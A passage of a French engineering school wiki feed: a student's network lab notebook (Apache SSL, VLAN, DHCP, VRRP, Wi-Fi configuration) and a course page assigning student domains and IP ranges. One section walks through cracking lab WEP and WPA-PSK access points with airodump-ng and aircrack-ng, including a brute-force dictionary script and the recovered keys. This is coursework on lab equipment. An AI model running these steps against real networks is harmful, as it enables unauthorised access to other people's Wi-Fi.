On met la clef &#039;&#039;&#039;deadpool.tech.key&#039;&#039;&#039; et les certificats &#039;&#039;&#039;GandiCert.pem&#039;&#039;&#039; et &#039;&#039;&#039;deadpool.tech.crt&#039;&#039;&#039; (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Vlan ==&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Deadpool.tech-2026-02-18-08_31_41-UTC.png&amp;diff=12350</id>
		<title>Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Deadpool.tech-2026-02-18-08_31_41-UTC.png&amp;diff=12350"/>
		<updated>2026-02-23T10:08:47Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DNSviz&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12275</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12275"/>
		<updated>2026-02-18T08:54:36Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.tech|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || dardevil.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|Styx&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|-&lt;br /&gt;
|E8-Yassine&lt;br /&gt;
|18&lt;br /&gt;
|-&lt;br /&gt;
|E7-Ibrahim&lt;br /&gt;
|17&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l&#039;école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d&#039;origine et de destination ainsi que l&#039;identifiant des ports d&#039;origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d&#039;adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolYassine&lt;br /&gt;
|10.60.8.0/24&lt;br /&gt;
|2001:660:4401:60a8::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolEvora&lt;br /&gt;
|10.60.11.0/24&lt;br /&gt;
|2001:660:4401:60ab::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l&#039;unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
